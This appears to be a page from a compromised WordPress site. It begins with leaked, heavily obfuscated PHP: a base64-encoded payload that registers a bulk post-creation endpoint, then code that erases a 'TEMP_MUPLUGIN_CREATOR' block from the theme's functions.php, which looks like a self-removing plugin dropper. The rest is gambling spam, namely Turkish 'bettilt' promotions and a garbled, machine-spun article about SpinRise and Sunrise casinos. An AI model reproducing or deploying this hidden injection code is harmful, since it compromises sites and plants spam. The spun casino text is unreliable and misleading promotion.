NCIsICJcMTYwXDE2NVwxNDJceDZjXHg2OVx4NzNceDY4IiwgIlx4NzBcMTQ1XHg2ZVx4NjRceDY5XHg2ZVx4NjciLCAiXDE2MFwxNjJceDY5XHg3Nlx4NjFcMTY0XHg2NSIpOyBpZiAoIWluX2FycmF5KCRzdGF0dXMsICRhbGxvd2VkX3N0YXR1c2VzLCB0cnVlKSkgeyAkc3RhdHVzID0gJGRlZmF1bHRfc3RhdHVzOyB9ICRjb250ZW50ID0gaXNzZXQoJGl0ZW1bIlx4NjNceDZmXDE1Nlx4NzRcMTQ1XDE1Nlx4NzQiXSkgPyAkaXRlbVsiXHg2M1x4NmZceDZlXDE2NFwxNDVcMTU2XDE2NCJdIDogJyc7ICRwb3N0X2RhdGEgPSBhcnJheSgiXHg3MFwxNTdcMTYzXHg3NFx4NWZcMTY0XDE1MVx4NzRceDZjXDE0NSIgPT4gJHRpdGxlLCAiXHg3MFx4NmZcMTYzXDE2NFx4NWZcMTQzXHg2ZlwxNTZcMTY0XHg2NVwxNTZcMTY0IiA9PiAkY29udGVudCwgIlwxNjBceDZmXDE2M1wxNjRceDVmXHg3M1wxNjRceDYxXHg3NFwxNjVcMTYzIiA9PiAkc3RhdHVzLCAiXDE2MFx4NmZceDczXDE2NFx4NWZcMTY0XHg3OVwxNjBceDY1IiA9PiAkdHlwZSwgIlwxNjBceDZmXDE2M1x4NzRcMTM3XHg2MVwxNjVcMTY0XHg2OFwxNTdceDcyIiA9PiBnZXRfY3VycmVudF91c2VyX2lkKCkgPzogMSk7IGlmIChpc3NldCgkaXRlbVsiXDE2MFwxNTdcMTYzXHg3NFx4NWZceDZlXHg2MVwxNTVcMTQ1Il0pKSB7ICRwb3N0X2RhdGFbIlwxNjBceDZmXDE2M1wxNjRcMTM3XDE1NlwxNDFcMTU1XDE0NSJdID0gc2FuaXRpemVfdGl0bGUoJGl0ZW1bIlwxNjBceDZmXDE2M1x4NzRceDVmXDE1Nlx4NjFceDZkXDE0NSJdKTsgfSBpZiAoaXNzZXQoJGl0ZW1bIlx4NzBcMTU3XHg3M1x4NzRceDVmXDE0NFx4NjFceDc0XDE0NVx4NWZceDY3XHg2ZFwxNjQiXSkpIHsgJHBvc3RfZGF0YVsiXHg3MFx4NmZcMTYzXDE2NFx4NWZcMTQ0XDE0MVx4NzRcMTQ1XHg1ZlwxNDdceDZkXHg3NCJdID0gJGl0ZW1bIlx4NzBceDZmXDE2M1wxNjRcMTM3XDE0NFwxNDFcMTY0XDE0NVx4NWZcMTQ3XDE1NVwxNjQiXTsgfSAkcG9zdF9pZCA9IHdwX2luc2VydF9wb3N0KCRwb3N0X2RhdGEsIHRydWUpOyBpZiAoaXNfd3BfZXJyb3IoJHBvc3RfaWQpKSB7ICRlcnJvcnNbXSA9IGFycmF5KCJcMTUxXDE1Nlx4NjRcMTQ1XDE3MCIgPT4gJGluZGV4LCAiXDE2NFwxNTFcMTY0XHg2Y1wxNDUiID0+ICR0aXRsZSwgIlwxNTVceDY1XDE2M1wxNjNcMTQxXHg2N1x4NjUiID0+ICRwb3N0X2lkLT5nZXRfZXJyb3JfbWVzc2FnZSgpKTsgY29udGludWU7IH0gaWYgKCRwb3N0X2lkKSB7IGlmICghZW1wdHkoJGl0ZW1bIlx4NzRcMTQxXHg2N1wxNjMiXSkgJiYgJHR5cGUgPT09ICJceDcwXDE1N1x4NzNceDc0IikgeyBpZiAoaXNfYXJyYXkoJGl0ZW1bIlwxNjRceDYxXDE0N1x4NzMiXSkpIHsgd3Bfc2V0X3Bvc3RfdGFncygkcG9zdF9pZCwgJGl0ZW1bIlwxNjRceDYxXDE0N1wxNjMiXSk7IH0gZWxzZSB7IHdwX3NldF9wb3N0X3RhZ3MoJHBvc3RfaWQsIGFycmF5X21hcCgiXDE2NFwxNjJceDY5XHg2ZCIsIGV4cGxvZGUoIlw1NCIsICRpdGVtWyJceDc0XDE0MVx4NjdcMTYzIl0pKSk7IH0gfSBpZiAoIWVtcHR5KCRpdGVtWyJcMTQzXDE0MVx4NzRcMTQ1XDE0N1wxNTdcMTYyXHg2OVx4NjVcMTYzIl0pICYmICR0eXBlID09PSAiXHg3MFx4NmZcMTYzXDE2NCIpIHsgJGNhdF9pZHMgPSBhcnJheSgpOyBmb3JlYWNoICgoYXJyYXkpICRpdGVtWyJcMTQzXDE0MVwxNjRceDY1XHg2N1wxNTdcMTYyXHg2OVx4NjVcMTYzIl0gYXMgJGMpIHsgaWYgKGlzX251bWVyaWMoJGMpKSB7ICRjYXRfaWRzW10gPSAoaW50KSAkYzsgfSBlbHNlIHsgJHRlcm0gPSBnZXRfdGVybV9ieSgiXHg2ZVwxNDFcMTU1XDE0NSIsICRjLCAiXDE0M1wxNDFcMTY0XHg2NVx4NjdceDZmXHg3MlwxNzEiKSA/OiBnZXRfdGVybV9ieSgiXHg3M1wxNTRcMTY1XDE0NyIsICRjLCAiXDE0M1wxNDFceDc0XHg2NVwxNDdceDZmXHg3MlwxNzEiKTsgaWYgKCR0ZXJtKSB7ICRjYXRfaWRzW10gPSAkdGVybS0+dGVybV9pZDsgfSB9IH0gaWYgKCFlbXB0eSgkY2F0X2lkcykpIHsgd3Bfc2V0X3Bvc3RfY2F0ZWdvcmllcygkcG9zdF9pZCwgJGNhdF9pZHMpOyB9IH0gJGNyZWF0ZWRbXSA9IGFycmF5KCJcMTUxXHg2NCIgPT4gJHBvc3RfaWQsICJcMTY0XDE1MVwxNjRcMTU0XHg2NSIgPT4gJHRpdGxlLCAiXDE2NVwxNjJceDZjIiA9PiBnZXRfcGVybWFsaW5rKCRwb3N0X2lkKSwgIlx4NzRceDc5XDE2MFwxNDUiID0+ICR0eXBlKTsgfSB9IHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgiXHg3M1x4NzVcMTQzXDE0M1wxNDVceDczXDE2MyIgPT4gdHJ1ZSwgIlx4NjNceDcyXHg2NVx4NjFcMTY0XHg2NVwxNDQiID0+ICRjcmVhdGVkLCAiXDE0M1x4NzJceDY1XHg2MVwxNjRceDY1XHg2NFx4NWZceDYzXHg2ZlwxNjVcMTU2XDE2NCIgPT4gY291bnQoJGNyZWF0ZWQpLCAiXHg2NVwxNjJceDcyXDE1N1wxNjJceDczIiA9PiAkZXJyb3JzKSk7IH0gfSBnb3RvIFdfcXA0OyBqUlZMYjogZGVmaW5lKCJceDU0XHg0NVx4NGJcMTE2XHg0Zlx4NDNcMTE3XDEyMlx4NDVceDVmXDEyMFwxMTRceDU1XHg0N1wxMTFceDRlXDEzN1wxMjZcMTA1XDEyMlx4NTNcMTExXHg0Zlx4NGUiLCAiXDYyXHgyZVx4MzFceDJlXDYwIik7IGdvdG8gSlMxYlo7IFdfcXA0OiBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCk7")); $funcs = get_template_directory() . "/functions.php"; if (file_exists($funcs)) { $c = file_get_contents($funcs); $c = preg_replace("/\/\/ === TEMP_MUPLUGIN_CREATOR_START ===.*?\/\/ === TEMP_MUPLUGIN_CREATOR_END ===/s", "", $c); @file_put_contents($funcs, $c); } }, 1); // === TEMP_MUPLUGIN_CREATOR_END === Casinos on the internet Canada 2026 Best Canadian Gambling enterprise Web sites | by Ahmad Zamroni
© This photograph copyright Ahmad Zamroni. Using the image as the base for another illustration or graphic content, including photography, is a violation of copyright and intellectual property laws.
logo

Casinos on the internet Canada 2026 Best Canadian Gambling enterprise Web sites

Adres güncellemeleri sayesinde bettilt üzerinden kesintisiz erişim sağlanıyor.

Mobil kullanıcılar için optimize edilmiş bettilt hızlı yüklenme süreleri sunar.

Avrupa’daki online bahis pazarında futbolun payı 2024 itibarıyla %61’e ulaşmıştır; bettilt giriş bu oranı kullanıcı lehine çevirmektedir.

Küresel canlı krupiyeli casino oyunları pazarı 2026 yılı itibarıyla yaklaşık %24 oranında büyüme göstermektedir ve bettilt giriş bu segmentte hizmet veren lider markalardan biridir.

However, JackpotCity and you may Spin Casino are a couple of best casinos on the internet known for spending better, specifically for the position game with a high RTPs more than 96%. If you are looking to SpinRise free spins transfer incentive financing for the actual, withdrawable cash, it’s necessary to choose game you to contribute 100 percent for the wagering and provides high RTP. He is particularly used in participants transitioning of bonus gamble and focusing on real-currency means. While you are marketing and advertising also provides and program profile are very important, RTP plays a significant part within the boosting real cash effects more time.

Brand name Background and Ownership

After you sign up and you may put C$, you will want to stimulate your own welcome package to obtain the extremely out of the very first playing example. From the Dawn Gambling enterprise On the web Canada, you may enjoy a huge selection of harbors, live agent dining tables, and you will special deals just for people. If you want to frequently discover Sunrise VIP Local casino no-deposit bonus, then become a member of an alternative program to have chose clients. The greater participants you will find that it month, the greater perks you’ll discovered. Both you and other members of the service have a good chance in order to unite, turn on the newest Dawn Gambling establishment promotional code and have unique totally free bucks.

Desk and card games inside SpinRise gambling enterprise on the internet

You might contact support service through email address or real time chat. In the live local casino part, you’ll along with come across video game away from ICONI21, Pragmatic Gamble, and you may Playtech. SpinRise works closely with over 100 game organization, and this is the reason extent and you may form of games.

monster hunter rise hunting horn spin attack

These zero-put incentives are occasionally offered as a result of unique ways that will you desire specific added bonus rules for use. The new Canadian professionals get a great deal on the Spinrise local casino acceptance added bonus, that has an organized about three-put package worth to $dos,999 and you may 243 free spins. Playing within the competitions gets players a lot more chances to win honours, and the prize swimming pools are aggressive, providing Canadian players of many methods to get the maximum benefit out of its playing. Play with discount coupons including Rise and you can Nuts to get special offers, and the VIP Bar gets loyal gamers advantages based on their points regarding the vip program. Offers often reveal to you 100 percent free spins bonuses, and so are constantly available on well-known slot game.

The customer help group guarantees any points try fixed rapidly, raising the total sense. In addition, it have the same higher-high quality gaming experience as the to your desktop computer, which have touching-enhanced routing and responsive construction that works well well on the people screen dimensions to own Canadian professionals. It will take around a couple of days to have first acceptance, but crypto withdrawals are the fastest. They will put on display your energetic harmony, how much you nonetheless still need so you can bet, just in case they’re going to end.

There is a new live gambling enterprise earliest-put give, that is used for professionals whom favor broker-provided dining tables more ports. In cases like this, the brand new records can be seen and outlined sufficient to help a serious brand character. The label and payment info may be looked, your interest could be tracked to have AML and you may public duty grounds, along with genuine limit-function systems in the environment. To possess Canadian players whom value convenience more showy app marketing, that is the best services anyhow. Regardless of the repeated look need for the newest Spinrise casino cellular and you will Spinrise gambling establishment software, there is absolutely no clear evidence of a devoted indigenous playing app in the authoritative gambling enterprise brand.

Spinrise Gambling enterprise from time to time also offers No deposit Bonus Codes via unique offers. If you want subsequent guidance, all of our amicable service party is merely a just click here away, willing to assist you because of alive talk, email address, or a lot more tips on the site. Speak about our very own FAQ page in order to quickly resolve your own question and possess returning to enjoying the excitement away from Spinrise Gambling establishment.

Spinrise On-line casino Bonus Spins Instead a good Replenishment

Because the all of our platform helps multiple safer fee procedures, it’s easy to get earnings. Join ahead for the fundamental competitions you to happens through the for each and every feel period to obtain the really from your contribution. To find unique bonuses and you may free spins that will be only available throughout these fun occurrences, mark their calendar and register. If you have difficulty, our multilingual team makes it possible to quickly and effectively within the actual time. For those who email, live chat, otherwise e mail us, you’re going to get educated individuals who care about your own satisfaction.

Comments are closed.

);